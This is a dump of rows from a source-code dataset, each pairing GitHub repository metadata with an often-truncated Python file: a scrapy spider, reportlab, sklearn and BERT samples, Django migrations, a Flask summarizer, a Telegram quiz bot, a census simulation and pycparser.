] | permissive | Doraying1230/Python-Study | daa143c133262f4305624d180b38205afe241163 | 8dccfa2108002d18251053147ccf36551d90c22b | refs/heads/master | 2020-03-29T13:46:13.061373 | 2018-07-26T15:19:32 | 2018-07-26T15:19:32 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,915 | py | #coding:utf-8
import scrapy
from ..common.BaseObject import BaseObject
from scrapy.spider import CrawlSpider
from scrapy.selector import Selector
from scrapy.http import Request,FormRequest
from scrapy.selector import Selector
from scrapy.http.cookies import CookieJar
from fake_useragent import UserAgent
import time
im... | [
"[email protected]"
] | |
7dd79a81c2691091fdf63dedb45319a7eae1a591 | 0fb12be061ab050904ceea99f6a938985a0d8acf | /report_mako2pdf/lib/xhtml2pdf/reportlab_paragraph.py | eba9e9aa506f6c2e6a82f44c220787a1075fbb14 | [] | no_license | libermatos/Openerp_6.1 | d17fbff1f35948e0c4176e2ed34ac5d7f8453834 | 510df13df7ea651c055b408ad66c580ca29d4ad7 | refs/heads/master | 2023-06-19T00:24:36.002581 | 2021-07-07T01:17:20 | 2021-07-07T01:17:20 | 383,574,889 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 71,161 | py | # -*- coding: utf-8 -*-
# Copyright ReportLab Europe Ltd. 2000-2008
# see license.txt for license details
# history http://www.reportlab.co.uk/cgi-bin/viewcvs.cgi/public/reportlab/trunk/reportlab/platypus/paragraph.py
# Modifications by Dirk Holtwick, 2008
from string import join, whitespace
from operator import ... | [
"[email protected]"
] | |
248ae932e96969c1f76bce884663f4cd1e7fdccd | 1238ad2367cbf51246ef21216f3f77398a963268 | /Machine-Learning/scikit-learn/senkei_sample_1.py | 7e4d9f5141874b128205167273934a3a25a2f113 | [] | no_license | shiro16/sunaba | 91c8fb58802993cf428bd2833c4417a234161e49 | 83d62c51a5c35d02cf93de38f6ebf4ab451816e0 | refs/heads/master | 2023-01-28T02:05:01.146155 | 2021-05-11T06:34:36 | 2021-05-11T06:34:36 | 84,282,959 | 0 | 0 | null | 2023-01-08T00:14:46 | 2017-03-08T05:42:13 | Python | UTF-8 | Python | false | false | 560 | py | import numpy as np
import matplotlib.pyplot as plt
from sklearn import linear_model, datasets
# 乱数によるデータ生成
np.random.seed(0)
regdata = datasets.make_regression(100, 1, noise=20.0)
# 学習を行いモデルのパラメータを表示
lin = linear_model.LinearRegression()
lin.fit(regdata[0], regdata[1])
print("coef and intercept : ", lin.coef_, lin.in... | [
"[email protected]"
] | |
a4c826fcfe6311083197e85bce0f8017a9af10bf | 3d928362dcde314562c80f83b79552983d4b0b37 | /bert/train/loss_models.py | d6ed29c74db721693b5aae118950c38050d26f6a | [
"Unlicense"
] | permissive | nawshad/BERT-pytorch | 18a7c949b1a61055ff87399909b30cd978eb8218 | fe45c85846a7d5c5b2668879239f482384940366 | refs/heads/master | 2021-07-09T23:23:45.224286 | 2020-08-23T08:27:50 | 2020-08-23T08:27:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,538 | py | from bert.preprocess import PAD_INDEX
from torch import nn
class MLMNSPLossModel(nn.Module):
def __init__(self, model):
super(MLMNSPLossModel, self).__init__()
self.model = model
self.mlm_loss_function = nn.CrossEntropyLoss(ignore_index=PAD_INDEX)
self.nsp_loss_function = nn.Cro... | [
"[email protected]"
] | |
d1878d336619c62c219f42222f728c8e4ed65c83 | 7d768b5be4213c3ac90648d48d1a322fb8c5c433 | /python_code/chuanzhi/python_advance/19/process_pool.py | e42b0da91f0fd4f73e665517b8f08d73f03c0eeb | [] | no_license | googleliyang/gitbook_cz_python | 7da5070b09e760d5e099aeae468c08e705b7da78 | c82b7d435dc11016e24cde2bdc4a558f507cb668 | refs/heads/master | 2020-04-02T17:47:58.400424 | 2018-12-22T09:48:59 | 2018-12-22T09:48:59 | 154,672,309 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 111 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# @File : process_pool.py
# @Author: ly
# @Date : 2018/12/8
| [
"[email protected]"
] | |
56db26ac23eb5330f73c013d50f5c5683be26524 | ee3ededc11e224619506d39c95cd4c8a150b9ffc | /run/migrations/0022_auto_20210610_0543.py | c9d3e8ffae0d8ff5ddf7955fc8397c7651b14ea5 | [] | no_license | TwoPointFour/django-backend | 5b37b11c63c5f7b061d323af191dd7cc725c885c | fd41da863df4cf79e5c8f9af2b211d6628ab6651 | refs/heads/main | 2023-08-11T14:01:39.604186 | 2021-09-27T05:04:13 | 2021-09-27T05:04:13 | 377,231,515 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 626 | py | # Generated by Django 3.2.3 on 2021-06-09 21:43
from django.db import migrations, models
import run.models
class Migration(migrations.Migration):
dependencies = [
('run', '0021_alter_workoutlog_workouts'),
]
operations = [
migrations.AddField(
model_name='profile',
... | [
"[email protected]"
] | |
1f1e7a0b4abdeaaf41b0249eee3816924a031f17 | d732fb0d57ec5430d7b15fd45074c555c268e32c | /misc/traversal_basics/trav10.py | a31652b349cd80bc1656caffb5760ac4bffff3db | [] | no_license | askobeldin/mypython3 | 601864997bbebdabb10809befd451490ffd37625 | 8edf58311a787f9a87330409d9734370958607f1 | refs/heads/master | 2020-04-12T08:01:16.893234 | 2018-02-01T18:23:23 | 2018-02-01T18:23:23 | 60,504,448 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 16,373 | py | #! /usr/bin/env python
# -*- coding: utf-8 -*-
#
################################################################################
try:
from collections import OrderedDict
except ImportError:
from ordereddict import OrderedDict
from string import Template
from wsgiref.simple_server import make_server
from pyra... | [
"[email protected]"
] | |
71c9b1d33046a6ad3c060c4f3e76ee5cf4280b26 | 36073b3c349eb6887a03b8f90b39ebd54fa3deb3 | /cadastros/urls.py | 225b7457bf5f7a4bb5dc7949f740bd6c6c5f567f | [] | no_license | evertonpauli/e-ticket | 6ba29a3d4a0b3dc2841a5db470e2c717315e8450 | 066cf48e70dec425aeaaa7aeefd617ffd1616307 | refs/heads/master | 2023-04-30T10:54:13.013547 | 2019-08-15T13:12:45 | 2019-08-15T13:12:45 | 202,204,800 | 0 | 0 | null | 2023-04-21T20:36:51 | 2019-08-13T18:42:22 | Python | UTF-8 | Python | false | false | 328 | py | from rest_framework import routers
from cadastros.views import ClientesViewSet, CategoriaViewSet, StatusViewSet
router = routers.DefaultRouter(trailing_slash=True)
router.register('clientes', ClientesViewSet)
router.register('categorias', CategoriaViewSet)
router.register('status', StatusViewSet)
urlpatterns = rout... | [
"[email protected]"
] | |
0acae82186a9621c166aec6bb0d254ebb92b1f81 | 818dae742767ca890779c208d0e71292c9c688c8 | /app.py | ee11cfae74e172e2a4288e1f931afd1cc7937f75 | [] | no_license | mnassrib/text-summarizer-app | f128eda50b2dfa620f6f6bba46942ecb487c5f2f | 3c97606497dc9e933ee0bb086a58be3cb4a678f1 | refs/heads/master | 2022-07-28T18:01:28.673292 | 2020-05-19T23:53:08 | 2020-05-19T23:53:08 | 265,273,408 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,995 | py | from __future__ import unicode_literals
from flask import Flask, render_template, url_for, request
from spacy_summarization import text_summarizer
from gensim.summarization import summarize
from nltk_summarization import nltk_summarizer
import time
import spacy
import en_core_web_sm
nlp = en_core_web_sm.load()
app = ... | [
"[email protected]"
] | |
bf9f3b6aa1efcc20fe3d0f874b18a994c50a5c78 | 9c84d806af445c9998f3145f07efe5d30b91c815 | /users/migrations/0001_initial.py | f6e88219a642508d9b52bb956e3e985136460980 | [] | no_license | naman114/Django_Blog | c065e50b7e6184e69bc4e2ac19b36c98d6084aea | c97eb63fd4d67df4638ab5766ee76cd5e39023ea | refs/heads/master | 2023-04-18T03:15:47.368787 | 2021-05-04T00:36:02 | 2021-05-04T00:36:02 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 777 | py | # Generated by Django 3.1.7 on 2021-03-30 20:09
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
ope... | [
"[email protected]"
] | |
a43d5a84086bb4be7ba32c8067fcbd249315d7db | 929ce0470f5e9ce8ed7cabdfbcfa73c0b5b35d30 | /settings.py | 5d117541ecb60c1cac53f43154299046e18f055c | [] | no_license | milesgranger/cmdata | 2ee96706a61372c94955e0fd942e777149249e2c | 535b237af99d988e158ab8b5304d0d1340b7f908 | refs/heads/master | 2020-04-06T07:08:27.252382 | 2016-09-11T10:25:42 | 2016-09-11T10:25:42 | 65,610,733 | 0 | 1 | null | 2016-09-11T10:25:43 | 2016-08-13T09:44:49 | Python | UTF-8 | Python | false | false | 866 | py | import os
import logging
import json
from peewee import Model, SqliteDatabase
with open('settings.json', 'r') as myfile:
json_settings = json.loads(myfile.read())
logger = logging.getLogger(__name__)
logger.setLevel(logging.DEBUG)
SECRET_KEY = json_settings["SECRET_KEY"]
DEBUG = json_settings["DEBUG"]
#########... | [
"[email protected]"
] | |
03ff755a26f0ca8650026e3ea508c2e1a76f5a1c | 73e4f50d2aabaf630e3a6154f3a149f6dee22656 | /apps/users/migrations/0003_auto_20170124_1008.py | 57a0420da15f1ec3aac5a6b35f833671e6d0a2c2 | [] | no_license | gjw199513/Mxonline | 508f8878eba396de1a88903c148a2f32641d9d8f | 360b759a0d21d712f3588c6fec377aabc2f990e0 | refs/heads/master | 2022-11-28T14:25:19.268436 | 2017-12-22T09:23:01 | 2017-12-22T09:23:31 | 80,403,072 | 4 | 2 | null | null | null | null | UTF-8 | Python | false | false | 491 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-01-24 10:08
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('users', '0002_auto_20170124_1007'),
]
operations = [
migrations.AlterField(... | [
"gjw605134015"
] | gjw605134015 |
83319329ae3deb480ae7390407f2049fa217f9a8 | 03d29ea4bc9a0e302d6000947b5d70b17ebfdec5 | /games/hipixel.py | 75a9f1a40f443db7829006ae08d5b8ccc5799813 | [] | no_license | Tim232/GameWatcherBot | 0abc05657b5768db18c78ecbe8c9bee89169145e | aa60c0997928ea26d63b770d1dd55b208529f80f | refs/heads/main | 2023-03-04T13:52:27.690345 | 2021-02-16T12:31:39 | 2021-02-16T12:31:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 584 | py | import requests
import json
import os
import sys
sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))
#import bot
key, player_uuid = '', ''
with open('../settings.json', 'r') as f:
hipixel_settings = json.load(f)["hipixel"]
key = hipixel_settings["key"]
player_uuid = hipixel_setting... | [
"[email protected]"
] | |
9c5ad899ca1d6c2c86cb40d5304177a1ce2f9f26 | d4945242794561f7e8621b7cace4c7c9d5c9e7ab | /testbucket.py | 4ab9dfdb4c82d77b57b85ee3b0501cd64b75b242 | [] | no_license | synthicap/TestStackBot | b275a9438b786a9201da4f81f57971c732b4272c | 7fbbebdfc953eb05385e028e7569007869e52acc | refs/heads/master | 2021-06-16T08:09:23.898823 | 2017-05-04T21:55:59 | 2017-05-04T21:55:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,865 | py | import os
import pickle
from secrets import token_urlsafe
import telebot
from flask import Flask, request
from redis import from_url
from telebot.types import Update, ReplyKeyboardMarkup, KeyboardButton
class Task:
is_text = None
text = None
correct = None
class Test:
tasks = []
results = {}
... | [
"[email protected]"
] | |
c209bbaacb59462c92f86852c6966232dfbf4d38 | 2c3404d57a64e52bb860b59445e48a6cf4537bc6 | /backend/services/migrations/0003_auto_20210502_1837.py | d5b91cd5d6d2ba633c5270a8f3f6263dbe68ffd6 | [] | no_license | miyou995/octosite | 42ef627c0d8378b007d9bad1333768428cc6ec2e | 362f5013a48fb7cd54a4cae84aed58da8fbb4388 | refs/heads/master | 2023-07-07T10:21:52.985355 | 2021-08-05T07:36:04 | 2021-08-05T07:36:04 | 392,947,907 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,306 | py | # Generated by Django 3.0.7 on 2021-05-02 17:37
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('services', '0002_auto_20210502_1438'),
]
operations = [
migrations.CreateModel(
name='ServiceCa... | [
"[email protected]"
] | |
9b0e3331a7b373bdb5062de6b475a67be0194b67 | aca7781f4341a2d9e2c4e9aa663efe1fbfc20b26 | /migration/versions/617d6d1ed309_first.py | b37fe959fe46a7aba66867c3cfa0854280477307 | [] | no_license | rhezaas/hcl-user-service | 23944798939f85b875b8c65fd9a2ce0d33436485 | 3a841e52d4a593a4d2873a19152935f0680cda79 | refs/heads/master | 2023-08-16T23:31:34.994984 | 2021-03-01T16:20:24 | 2021-03-01T16:20:24 | 330,072,443 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,538 | py | """first
Revision ID: 617d6d1ed309
Revises:
Create Date: 2021-01-09 19:36:33.085083
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = '617d6d1ed309'
down_revision = None
branch_labels = None
depends_on = None
def upgrade():
# ### commands auto generated by ... | [
"[email protected]"
] | |
794f234132b9911b2627c4d8a81cf9092ef9550b | 7751c53180eb5eda2c9ff6f1406d755733d7a3a0 | /multiagent/agents/bystander.py | 4f63775706930f75b6101b4a5bb89072ffa5e9a0 | [
"MIT"
] | permissive | HassamSheikh/VIP_Protection_Envs | b2927de19565c6fb09d1db42105ea4defc7aa912 | ea8b4f702d037336812035abbf8aaa12e26f8c46 | refs/heads/master | 2020-07-14T01:32:15.620448 | 2019-08-29T18:03:45 | 2019-08-29T18:03:45 | 205,201,943 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,809 | py | import numpy as np
from . import *
class Bystander(Participant):
""" A bystander (crowd participant) in the bodyguard environment, performing a movement that involves visiting random landmarks. If the bystander is near a bodyguard, it stops...
"""
def __init__(self, scenario):
super().__init__(scen... | [
"[email protected]"
] | |
c6eafbbe4676917c6f23a05bc73e21e549c0ba3f | 43842089122512e6b303ebd05fc00bb98066a5b2 | /dynamic_programming/120_triangle.py | 99985fab0c45baef506be9737699a9531b32e925 | [] | no_license | mistrydarshan99/Leetcode-3 | a40e14e62dd400ddb6fa824667533b5ee44d5f45 | bf98c8fa31043a45b3d21cfe78d4e08f9cac9de6 | refs/heads/master | 2022-04-16T11:26:56.028084 | 2020-02-28T23:04:06 | 2020-02-28T23:04:06 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,507 | py | """
Given a triangle, find the minimum path sum from top to bottom. Each step you may move to adjacent numbers on the row below.
For example, given the following triangle
[
[2],
[3,4],
[6,5,7],
[4,1,8,3]
]
The minimum path sum from top to bottom is 11 (i.e., 2 + 3 + 5 + 1 = 11).
"""
class Solution(ob... | [
"[email protected]"
] | |
81f5eb7112b4fddb2b1def7dd9e93b220c6f3982 | 06905fd703d600f95f7a21dfe8e102b26df05921 | /mmsite/wsgi.py | eeab6b532485c7681a3e40ee26925807b14b17ee | [] | no_license | NmrTannhauser/marketmaker | 5fa722962b7a3300967378970ddb9d572d254b38 | 87761de0187b1ae65236d7f968eaeb9a43f23c07 | refs/heads/master | 2020-03-14T16:35:28.388404 | 2018-05-28T16:14:41 | 2018-05-28T16:14:41 | 131,701,070 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 390 | py | """
WSGI config for mmsite project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.11/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault("DJANGO_SETTI... | [
"[email protected]"
] | |
65757a625f7f8aafc159219b1ac837edf8deab90 | a251f675c1083e857d9f612a3bef9c6745d6b1b9 | /chapter12_async_IO_coroutine/yield_from_how.py | 45e7a864accdeeb55778cd38383ed8bfe7a2f6fa | [] | no_license | haokr/PythonProgramming_Advanced | 6319e5bb4a82944c11d83e1095e2aa37cb217bd9 | 472da8407828f53be3cc3d1153ac9b795f6a9a45 | refs/heads/master | 2022-04-01T22:02:10.364678 | 2020-02-09T08:07:55 | 2020-02-09T08:07:55 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,304 | py | # -*- coding: utf-8 -*-
'''
* @Author: WangHao
* @Date: 2020-01-12 09:47:40
* @LastEditors: WangHao
* @LastEditTime: 2020-01-12 10:07:08
* @Description: None
'''
'''
总结:
1. 子生成器生产的值,都是直接传给调用方:调用方通过.send()发送的值都是直接传给子生成器的,如果发送的是None,会调用子生成器的__next__()方法,如果不是None,调用子生成器的send()方法。
2. 子生成器退出的时候,最后的return EXPR,会触发一个S... | [
"[email protected]"
] | |
5f521276c2d1adbf2aab4331c07f24c57d0c44ad | 53a1e00175aad8bb9bc9d93c47a3e12eeffb7c67 | /account/migrations/0038_auto_20200917_0120.py | 607a62545d691cc8c088b0f011d46c375bd3a602 | [] | no_license | mirsisir/flash | c363d748725ebf4c5bbce9f03cbaafe32f768e9e | 42d73be32fd29ab4592ccaca3c03b786223fc902 | refs/heads/master | 2022-12-26T08:02:54.927235 | 2020-10-03T08:32:24 | 2020-10-03T08:32:24 | 300,835,641 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 353 | py | # Generated by Django 3.0.8 on 2020-09-17 01:20
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('account', '0037_auto_20200917_0100'),
]
operations = [
migrations.AlterModelOptions(
name='order',
options={'ordering': ('-o... | [
"[email protected]"
] | |
cb17300b448fc5e8bf2a11a3c0e264dee6949afd | 20250e3dee97220e908d48e4a0d09fe1cbbf0ec0 | /app/migrations/0014_grupos.py | b7fd3449055bee2774d218416474b149b04ea48f | [] | no_license | sergio200086/Sistema-academico | 3e7af83301ddc7f380d03bad74485712b39b9aa6 | 70d03a67de6b72dff738560118f620c2fe7b016f | refs/heads/master | 2023-07-25T19:59:05.610314 | 2021-09-03T17:04:29 | 2021-09-03T17:04:29 | 402,836,941 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 831 | py | # Generated by Django 3.2 on 2021-05-18 19:57
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('app', '0013_profesores'),
]
operations = [
migrations.CreateModel(
name='Grupos',
fie... | [
"[email protected]"
] | |
af2ce57e29ae463e1877eb93020a815ea4ffd575 | 921a8ebd5add1cd15db7e558801bf6f5167073d7 | /hq.py | d9093527875528007031eec0e0b09be2fde29b71 | [] | no_license | ONSdigital/FOCUS | 768a5713ec8909cbcdb6b6af882879dda0647576 | d6920bf036abb49872a1f4908fdfdff8135c0f68 | refs/heads/master | 2021-09-03T20:02:07.212625 | 2017-11-13T16:39:54 | 2017-11-13T16:39:54 | 50,437,640 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 8,091 | py | """Module used to store the classes and other code related to any aspect of the census hq operation"""
import output_options as oo
import helper as h
import datetime
from simpy.util import start_delayed
import math
def ret_rec(household, rep):
# print out every 100000 returns?
#if rep.total_responses % 10000... | [
"[email protected]"
] | |
12431f449479c4225d285315b7a3bb921570c910 | efcd21234f3291e8fc561f49a7c88fc57a63e952 | /tests/unit/language/ast/test_directive_definition.py | b356575d34de9eab8e68c11d4445ef82a42fc23c | [
"MIT"
] | permissive | tartiflette/tartiflette | 146214a43847d2f423bf74594643c1fdefc746f1 | 421c1e937f553d6a5bf2f30154022c0d77053cfb | refs/heads/master | 2023-09-01T02:40:05.974025 | 2022-01-20T14:55:31 | 2022-01-20T14:55:31 | 119,035,565 | 586 | 39 | MIT | 2023-09-11T07:49:27 | 2018-01-26T09:56:10 | Python | UTF-8 | Python | false | false | 6,673 | py | import pytest
from tartiflette.language.ast import DirectiveDefinitionNode
def test_directivedefinitionnode__init__():
directive_definition_node = DirectiveDefinitionNode(
name="directiveDefinitionName",
locations="directiveDefinitionLocations",
description="directiveDefinitionDescription... | [
"[email protected]"
] | |
218c3c740337ecd6f019cf07d45326d26a037866 | 2437f5e7f243ccf712f94b08f272b7d5387f90cf | /dailyfresh/apps/cart/urls.py | a7e68618919bfccd6fe10436169f4b05ec0e1449 | [] | no_license | KWTsoftkitty/pyCode | b06b128292a2c64e5552c495087693bdd01042c4 | fffa66737ca9ba29b296245767eea8af3ee769d6 | refs/heads/master | 2020-03-25T20:46:45.163930 | 2019-08-30T08:40:27 | 2019-08-30T08:40:27 | 144,145,410 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 455 | py | from django.conf.urls import url
from cart.views import CartInfoView, CartAddView, CartUpdateView, CartDeleteView
urlpatterns = [
url(r'^show$', CartInfoView.as_view(), name='show'), # 购物车页面显示
url(r'^add$', CartAddView.as_view(), name='add'), # 购物车添加
url(r'^update$', CartUpdateView.as_view(), name='update'... | [
"[email protected]"
] | |
ee0ea350d13c32438c662a8a258423d9b8287956 | 20c4a239e000b15131251d372ccad9110063a961 | /setup.py | 91ea45b7093ebde7a34cf7d5eb933f7529893fdf | [
"MIT"
] | permissive | Partidani/hdlConvertor | 9d0e382e6e087ac240502538b63f8667004a7715 | 36d3b58e2641e39c323ed9ee337135e49c64d076 | refs/heads/master | 2023-04-06T00:03:31.505727 | 2021-04-19T07:28:25 | 2021-04-19T07:28:25 | 366,418,686 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,810 | py | #!/usr/bin/env python3
# -*- coding: UTF-8 -*-
import os
from setuptools import find_packages
try:
from skbuild import setup
except ImportError:
raise ImportError("Missing scikit-build, (should be automatically installed by pip)")
import sys
this_directory = os.path.abspath(os.path.dirname(__file__))
with op... | [
"[email protected]"
] | |
53a4aee6671f14f354522c8971d2917b12424013 | acb5c517f02a6643e276b9c3ddf1a23bf15afc29 | /src/data/data_prep.py | a55851f23be96405cce7041f8149f90d14511382 | [] | no_license | razvannica/instrument-recognition | 13018ec6b403765dc452b9c961c9222967f041ee | a94866b67cc9646ed4633b761dd3440e14ec5f93 | refs/heads/master | 2020-03-20T07:06:47.404105 | 2018-06-13T22:02:58 | 2018-06-13T22:02:58 | 137,271,449 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,306 | py | import numpy as np
import os
import cPickle
import pandas as pd
import yaml
import wave
import struct
import gc
from scipy.io import wavfile
from scipy.io import savemat
import copy
import patch_label
"""
This file contains all scripts necessary for preparing data.
The code in this file reads all wav files, metadata... | [
"[email protected]"
] | |
c35827798e41b221d01c7605547d9563c1b93e01 | c040de12811afa588a23ad6c0cd4fdc849ab469f | /saklient/cloud/errors/usernotspecifiedexception.py | 4bd94f412d92c987223a12491a2dad83d3c4cda1 | [
"MIT"
] | permissive | toshitanian/saklient.python | 3707d1113744122c5ab1ae793f22c6c3a0f65bc4 | 287c56915dd825d676eddc538cbb33b483803dc2 | refs/heads/master | 2021-05-28T08:13:16.851101 | 2014-10-09T09:54:03 | 2014-10-09T09:54:03 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 790 | py | # -*- coding:utf-8 -*-
from ...errors.httpforbiddenexception import HttpForbiddenException
# module saklient.cloud.errors.usernotspecifiedexception
class UserNotSpecifiedException(HttpForbiddenException):
## 要求された操作は許可されていません。このAPIはユーザを特定できる認証方法でアクセスする必要があります。
## @param {int} status
# @param {str} c... | [
"[email protected]"
] | |
8cb3d749f4466525d40f270c8a048fd83397d6b0 | e25e7f0d944d302c2fd13b7517d97c5e0b5558ec | /FixTree_TBCNN/pycparser/c_parser.py | 9a9d09657ad6d9acb7465f692d2e3c1c7d25ba04 | [] | no_license | NizhenJenny/FixTree | 06702a0d529d861e34b045aac286434b0ce3d86f | be30a2cdeb6cc0aa13f29d2cd4d4ce325f00f2a0 | refs/heads/master | 2020-05-24T21:33:04.030992 | 2019-08-19T09:52:10 | 2019-08-19T09:52:10 | 187,477,281 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 63,913 | py | #------------------------------------------------------------------------------
# pycparser: c_parser.py
#
# CParser class: Parser and AST builder for the C language
#
# Copyright (C) 2008-2015, Eli Bendersky
# License: BSD
#------------------------------------------------------------------------------
import r... | [
"[email protected]"
] | |
c58de3d099facdaa74fbc9362cf2b4d91bbdac3f | 297c6d7f0c15538349e2854c93a9b672836f433a | /routes/route4.py | 9db70781388939fe05282160420b8e727089cc97 | [] | no_license | Utklossning/ev3-robot | 5dec26e72b870589909acfe4a23862930b4a3112 | 1830c19e3406521f3384256137ec7c6e969ed3c0 | refs/heads/master | 2020-04-05T09:47:25.332861 | 2018-11-19T07:37:14 | 2018-11-19T07:37:14 | 156,774,626 | 0 | 0 | null | 2018-11-17T09:10:17 | 2018-11-08T22:01:21 | Python | UTF-8 | Python | false | false | 664 | py | import time
class Route():
def __init__(self, bot):
self.bot = bot
self.route_number = "four"
def start(self):
self.bot.move_forward(45, 50)
self.bot.rotate_right(45, 50)
self.bot.move_forward(44, 50)
self.bot.rotate_right(46, 50)
self.bot.move_forw... | [
"[email protected]"
] | |
d15e9de176089c15a1ec2cf8cb55e7e06d17da4a | 06b6b2e090724557683e582641acecd3a0eecb59 | /src/calcularfactura.py | 2ee919ca1e1efe9919f7d9d11d9b18a4b891145b | [] | no_license | mmorac/factura | d0f6f8b0c50f74a9c695088d3366ed588c53f2e1 | 9c405575d072d262bdf4db01881701591cbd67d6 | refs/heads/master | 2022-04-25T18:34:49.474668 | 2020-04-24T08:23:43 | 2020-04-24T08:23:43 | 258,345,468 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,533 | py | import pandas as pd
import obtenerhoras
from datetime import datetime
def calcularfactura(fecha_inicio, fecha_fin):
tabla = obtenerhoras.obtenerhoras("../archivos/factura.xlsx")
if("-" in fecha_inicio):
now = datetime.now()
fecha_inicio = fecha_inicio.split("-")
fecha_fin = fecha_fin.s... | [
"[email protected]"
] | |
8489d3ddbd733e3678c75d8fcdde182f1b735194 | 60fd4409e031a18bbd65e37d2f7d4d05dcb65caa | /Python/代码实现/day02-多线程进程/13-多线程共享全局变量.py | f28f64bf29e1650b3a00ab9cb41fda8ebe34f421 | [] | no_license | YaoFANGUK/Practice-Code | 1e05310773f9d19f54c2d0197cd613c75defc38c | 01ee0c3f24d505c4fab5b82c52b545933871b950 | refs/heads/master | 2021-06-19T17:02:16.814441 | 2021-06-04T03:38:39 | 2021-06-04T03:38:39 | 222,544,962 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 121 | py | # join: 主线程等待add_thread执行完成,再继续向下执行
# 结论:线程之间可以共享全局变量
| [
"[email protected]"
] | |
8bfa5c02a3089abb03156a6609bfed1a989474e9 | d5f8ca3c13f681d147b7614f1902df7ba34e06f9 | /Graduate/model/densenet.py | 38359413ab29892a7c8f412c5fc1741039a65696 | [] | no_license | hhjung1202/OwnAdaptation | 29a6c0a603ab9233baf293096fb9e7e956647a10 | 50805730254419f090f4854387be79648a01fbb4 | refs/heads/master | 2021-06-25T22:31:15.437642 | 2020-11-26T18:19:55 | 2020-11-26T18:19:55 | 176,670,379 | 1 | 0 | null | 2020-06-11T07:35:55 | 2019-03-20T06:36:19 | Python | UTF-8 | Python | false | false | 7,429 | py | import torch
import torch.nn as nn
import torch.nn.functional as F
from collections import OrderedDict
from torch import Tensor
import itertools
class Flatten(nn.Module):
def forward(self, x):
return x.view(x.size(0), -1)
class _Gate_selection(nn.Sequential):
phase = 2
def __init__(self, num_inpu... | [
"[email protected]"
] | |
3273285dc5118a47952c40dfdd26e29bd612aa47 | 46f03a8353b3fd0cd1ca35e0d322c4a53649596b | /try.py | 193887977e7feaeaa8f466637561399d7a348948 | [] | no_license | dragikamov/Video_Converter | d7d73a948853c99840606b89fc79dbcf8e1bde97 | e0233f9c190618e30bb85bcfa9df881f0eee058e | refs/heads/master | 2020-04-30T15:50:35.037923 | 2019-03-30T22:35:29 | 2019-03-30T22:35:29 | 176,931,695 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,925 | py | import cv2
import numpy as np
import os
from canny_edge import *
import threading
from os.path import isfile, join
# Function for converting an image to grayscale
def rgb2gray(rgb):
return np.dot(rgb[...,:3], [0.299, 0.587, 0.114])
# Export of video
def exportVid():
frame_array = []
files = [f for f in o... | [
"[email protected]"
] | |
0d98db9ec83456db136f54a759d5de5a9a1ccb42 | c42b08296e47e113ea66d8d14b383abccfbce409 | /myhashtry.py | 877c1cafe1784c183cfe3f85b83929bd081b06e3 | [] | no_license | unmutilated/code | 49750a92ec855158740f456b3b1d3dd34890ca88 | 8961e5cf394aecdf71d70cc6b2ff03f35de14db5 | refs/heads/master | 2022-05-24T13:14:37.318698 | 2020-04-27T20:11:08 | 2020-04-27T20:11:08 | 259,436,704 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,308 | py | import sys
import hashlib
Output = []
def ReadFile():
file0 = open("CRY_Lab_02_B_hashes.txt", "r")
lines = f.readlines()
file0.close()
s = set()
for data in lines:
s.add(data.strip())
print("Read in {0} lines from the MD5 hash file".format(len(lines)))
return s
def SaveFile():
... | [
"[email protected]"
] | |
1b1ef729bfe6870880ec2b3f58f8d04117f29bc5 | ddf9d47a06ce85f9d06ec4923982f96996e028a7 | /Notebooks/Entrenamiento Modelo/CustomHyperModelImages.py | 2f49fceefd6a2ddbc8d07d8b4f3d7947bbe71e0f | [] | no_license | SebasPelaez/colombia-energy-forecast | f7b7a184026d3eb22a2087fda39249998ba1128e | 269d432dfda0e976aa06d1b9b7804945d9362af3 | refs/heads/master | 2023-04-14T18:36:14.294769 | 2021-04-21T14:01:58 | 2021-04-21T14:01:58 | 286,310,399 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 48,779 | py | import tensorflow as tf
import CustomMetrics
from kerastuner import HyperModel
